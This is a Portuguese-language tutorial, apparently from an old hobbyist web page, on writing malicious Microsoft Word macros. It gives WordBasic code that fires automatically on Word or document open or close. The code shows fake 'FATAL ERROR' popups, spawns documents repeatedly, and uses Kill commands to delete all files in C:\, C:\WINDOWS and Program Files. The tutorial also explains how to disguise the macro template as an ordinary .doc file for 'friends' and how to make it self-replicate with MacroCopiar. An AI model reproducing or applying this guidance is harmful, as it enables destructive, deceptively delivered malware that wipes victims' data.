Vírus de Macro

---=( Vírus de Macro )=---

Muita gente usa o Microsoft Word em casa ou no trabalho. Digitam, salvam imprimem...
Mas pouca gente explora um dos recursos mais interessantes dele: as macros. Essas macros podem fazer coisas úteis (como colocar o logo da sua empresa automaticamente nos documentos), inúteis e maldosas. Aqui nós vamos explicar como fazer as maldosas (hehehe). Mas não é pra sair espalhando o que você vai ler aqui pra todo mundo. A brincadeira que
você criar pode voltar para você muito pior. Portanto não me responsabiliso pelos seus atos a partir de agora. É com você!

---=( Nascimento da Macro )=---
 

Antes de sair por aí distribuindo vírus pros seus "amigos", aprenda a criar uma macro. Este é o básico. Abra o Word. Se você não souber o que é Word se aposenta. Abriu? Pronto, agora vai no menu Ferramentas/Macro. Foi? Se não tiver nada lá é porque não tem nenhuma macro no seu computador. Agora cria uma. Escolha uma das funções abaixo:

    AutoExec - É executada quando você abre o Word.

    AutoOpen - É executada quando você abre um documento.

    AutoClose - É executada quando você fecha um documento.

Escreve a função que você quiser em "Nome da Macro" e clica em "Criar". A macro tá criada. Resta saber o que colocar nela.

---=( O Que Esta Macro Irá Fazer? )=---

A macro já tá criada. Agora observa o que tem escrito lá. SUB MAIN e END SUB. Tudo o que você escrever você tem que estar no meio dessas linhas. TUDO! Veja alguns exemplos de macro agora:

Essa macro fica dando avisos. Muito útil se você quiser só encher o saco. Essa macro você pode testar no seu micro mesmo.

MsgBox "Atenção! Uma operação ilegal foi detectada. Reinicie o seu computador.", "FATAL ERROR", 16
MsgBox "Seu Windows está sendo destruido. Será necessário formatar o seu computador.", "FATAL ERROR", 16
MsgBox "O vírus penetrou no seu BIOS. Destrua seu PC!", "FATAL ERROR", 16
Não esqueça de colocar entre o SUB MAIN e o END SUB. Experimente trocar os números. O tipo do aviso vai mudar. Troque também o que tá escrito. Na primeira aspas é o que está escrito n caixa e na segunda é o título da caixa. Você pode pôr quantos avisos quiser!

Essa macro fica criando novos documentos. Também pode ser testada no seu PC

ArquivoNovoPadrão
Inserir "Alan's Page"
ArquivoNovoPadrão
Inserir "Macro"
ArquivoNovoPadrão
Inserir "Tutorial"
ArquivoNovoPadrão
Inserir "Hehehehehe"
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "Só!"
Entre as aspas do Inserir você põe o que você quiser escrever no documento.

Já essa macro aqui não recomendo testes em seu PC. A não ser que você troque esses diretórios abaixo por alguns temporários...

Kill "C:\*.*"
Kill "C:\WINDOWS\*.*"
Kill "C:\ARQUIV~1\*.*"

Hehe, essa última é cruel...

Depois de colocar uma dessas, feche o Word e salve as alterações. Agora abre o Word de novo.... Hehehehe....

---=( A Entrega )=---
 

A macro está salva em seu arquivo Normal.dot Bem, .DOT não é a extensão usada no Word, então ficaria meio suspeito entregar assim para o seu "amigo". Então faz o seguinte: Localize o seu arquivo Normal.dot. e renomeie ele, com extensão .DOC . Ex: trabalho.doc . Não precisa fazer outro normal.dot, quando você abrir o Word de novo ele vai ser criado.
Pronto, o arquivo está pronto para ser distribuído! Para tornar sua macro um vírus para ser copiado em outros documentos, insira a seguinte linha:

MacroCopiar [Modelo1:]Macro1$, [Modelo2:]Macro2$ [, ApenasExecutável]
Parabéns! Você agora já deve saber como mexer em macros. Ainda não sabe tudo, porque aqui não tem tudo, mas tem o básico.